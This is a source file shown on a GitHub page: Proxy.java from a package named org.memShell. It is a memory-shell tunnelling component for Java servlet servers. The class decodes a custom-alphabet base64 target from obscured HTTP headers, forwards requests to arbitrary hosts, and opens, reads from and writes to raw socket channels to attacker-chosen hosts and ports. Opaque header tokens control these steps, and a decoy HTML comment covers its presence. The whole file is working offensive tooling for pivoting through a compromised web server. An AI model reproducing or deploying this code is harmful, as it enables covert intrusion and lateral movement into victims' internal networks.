-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProxy.java
More file actions
293 lines (266 loc) · 9.65 KB
/
Proxy.java
File metadata and controls
293 lines (266 loc) · 9.65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
package org.memShell;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.Collections;
import java.util.Enumeration;
import java.util.List;
import org.memShell.redefine.MyRequest;
import org.memShell.redefine.MyResponse;
import org.memShell.redefine.MyServletInputStream;
import org.memShell.redefine.MySession;
public class Proxy {
private static char[] en = "OJqU3HfBVmXSGsL167zcjAK0bniFEwPeu8DCh/vokRtTyQ+IrYM92lx5aNWZ4pdg".toCharArray();
public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
int b1, b2, b3;
while (i < len) {
b1 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("==");
break;
}
b2 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("=");
break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
}
return sb.toString();
}
private static byte[] de = new byte[] { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 46, -1, -1,
-1, 37, 23, 15, 52, 4, 60, 55, 16, 17, 33, 51, -1, -1, -1, -1, -1, -1, -1, 21, 7, 35, 34, 28, 27, 12, 5, 47,
1, 22, 14, 50, 57, 0, 30, 45, 41, 11, 43, 3, 8, 58, 10, 49, 59, -1, -1, -1, -1, -1, -1, 56, 24, 19, 62, 31,
6, 63, 36, 26, 20, 40, 53, 9, 25, 39, 61, 2, 48, 13, 42, 32, 38, 29, 54, 44, 18, -1, -1, -1, -1, -1 };
public static byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
int i = 0;
int b1, b2, b3, b4;
while (i < len) {
do {
b1 = de[data[i++]];
} while (i < len && b1 == -1);
if (b1 == -1) {
break;
}
do {
b2 = de[data[i++]];
} while (i < len && b2 == -1);
if (b2 == -1) {
break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
do {
b3 = data[i++];
if (b3 == 61) {
return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1);
if (b3 == -1) {
break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
do {
b4 = data[i++];
if (b4 == 61) {
return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1);
if (b4 == -1) {
break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
}
return buf.toByteArray();
}
static String headerkey(String str) throws Exception {
String out = "";
for (String block : str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
}
return out.substring(0, out.length() - 1);
}
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration<InetAddress> addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement();
if (addr instanceof Inet4Address)
if (addr.getHostAddress().equals(ip))
return true;
}
}
return false;
}
public void doProxy(Object request, Object response) throws Exception {
String rUrl = MyRequest.getHeader(request, "Vxypicksq");
if (request.getClass().getName().equalsIgnoreCase("org.apache.catalina.core.ApplicationHttpRequest")) {
return;
}
PrintWriter out = MyResponse.getWriter(response);
Object session = MyRequest.getSession(request);
if (rUrl != null) {
rUrl = new String(b64de(rUrl));
if (!islocal(rUrl)) {
MyResponse.reset(response);
String method = MyRequest.getMethod(request);
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true);
// conn.setConnectTimeout(200);
// conn.setReadTimeout(200);
Enumeration enu = MyRequest.getHeaderNames(request);
List<String> keys = Collections.list(enu);
Collections.reverse(keys);
for (String key : keys) {
if (!key.equalsIgnoreCase("Vxypicksq")) {
String value = MyRequest.getHeader(request, key);
conn.setRequestProperty(headerkey(key), value);
}
}
int i;
byte[] buffer = new byte[1024];
if (MyRequest.getContentLength(request) != -1) {
OutputStream output;
try {
output = conn.getOutputStream();
} catch (Exception e) {
MyResponse.setHeader(response, "Wjfj", "LCh8EYZcePmuwxqH49fnQMaML4OGjM");
return;
}
Object servletInputStream = MyRequest.getInputStream(request);
while ((i = MyServletInputStream.read(servletInputStream, buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
}
for (String key : conn.getHeaderFields().keySet()) {
// Solve the jdk low version conn.getHeaderFields()
// Solve the problem of weblogic blank line cannot remove
if (key != null && !key.equalsIgnoreCase("Content-Length")) {
String value = conn.getHeaderField(key);
MyResponse.setHeader(response, key, value);
}
}
InputStream hin;
if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream();
if (hin == null) {
MyResponse.setStatus(response, 200);
return;
}
}
MyResponse.setStatus(response, conn.getResponseCode());
while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
out.write(new String(data));
}
if (true)
return; // exit
}
}
MyResponse.resetBuffer(response);
MyResponse.setStatus(response, 200);
String cmd = MyRequest.getHeader(request, "Kxkcmmz");
if (cmd != null) {
String mark = cmd.substring(0, 22);
cmd = cmd.substring(22);
MyResponse.setHeader(response, "Bavucm", "whQSv2UNo4ANXOasx5SKyI5uuyOP4R4gqYoWzl");
if (cmd.compareTo("N4d_vwmcAWoNLAKFOSXLshRkwrIKQ9mtOHecI6sydoo7fFd") == 0) {
try {
String[] target_ary = new String(b64de(MyRequest.getHeader(request, "Vovxcnjiquaysay"))).split("\\|");
String target = target_ary[0];
int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
MySession.setAttribute(session, mark, socketChannel);
MyResponse.setHeader(response, "Bavucm", "whQSv2UNo4ANXOasx5SKyI5uuyOP4R4gqYoWzl");
} catch (Exception e) {
MyResponse.setHeader(response, "Wjfj", "L1QmMT1A7Xzfr38FTTXNum7p_R7jf9JPKWza29H1LIt16bn7FEeZRSUj");
MyResponse.setHeader(response, "Bavucm", "BEYZYz4kzGEqs1Ct20PiRuHIUDw1W3E24hmbpYo");
}
} else if (cmd.compareTo("5KPdnVYt_8LUkfl8aFEt1CtEXDWEvC0VYnPv1Vxs5eARlp4vnH3jzQ") == 0) {
SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(session, mark);
try {
socketChannel.socket().close();
} catch (Exception e) {
}
MySession.removeAttribute(session, mark);
} else if (cmd.compareTo("oGtAVnWoWPelCl4tWbYVxk2wMsU2kC") == 0) {
SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(session, mark);
try {
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
while (bytesRead > 0) {
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
buf.clear();
bytesRead = socketChannel.read(buf);
}
MyResponse.setHeader(response, "Bavucm", "whQSv2UNo4ANXOasx5SKyI5uuyOP4R4gqYoWzl");
} catch (Exception e) {
MyResponse.setHeader(response, "Bavucm", "BEYZYz4kzGEqs1Ct20PiRuHIUDw1W3E24hmbpYo");
}
} else if (cmd.compareTo("ONJD8WdodnFr") == 0) {
SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(session, mark);
try {
int readlen = MyRequest.getContentLength(request);
byte[] buff = new byte[readlen];
Object servletInputStream = MyRequest.getInputStream(request);
MyServletInputStream.read(servletInputStream, buff, 0, readlen);
byte[] base64 = b64de(new String(buff));
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.clear();
buf.put(base64);
buf.flip();
while (buf.hasRemaining())
socketChannel.write(buf);
MyResponse.setHeader(response, "Bavucm", "whQSv2UNo4ANXOasx5SKyI5uuyOP4R4gqYoWzl");
} catch (Exception e) {
MyResponse.setHeader(response, "Wjfj", "iEoN4EgjGlyaDiPAA8yCAa4RI7Gco8FcTkIDTS_zpW788WKuDdDzbTmJ");
MyResponse.setHeader(response, "Bavucm", "BEYZYz4kzGEqs1Ct20PiRuHIUDw1W3E24hmbpYo");
socketChannel.socket().close();
}
}
} else {
out.write("<!-- hJjylqamvbwcmtfcPhQEhlmvACRvBZCj4OzGoE4m3aObI_A6VF -->");
}
}
}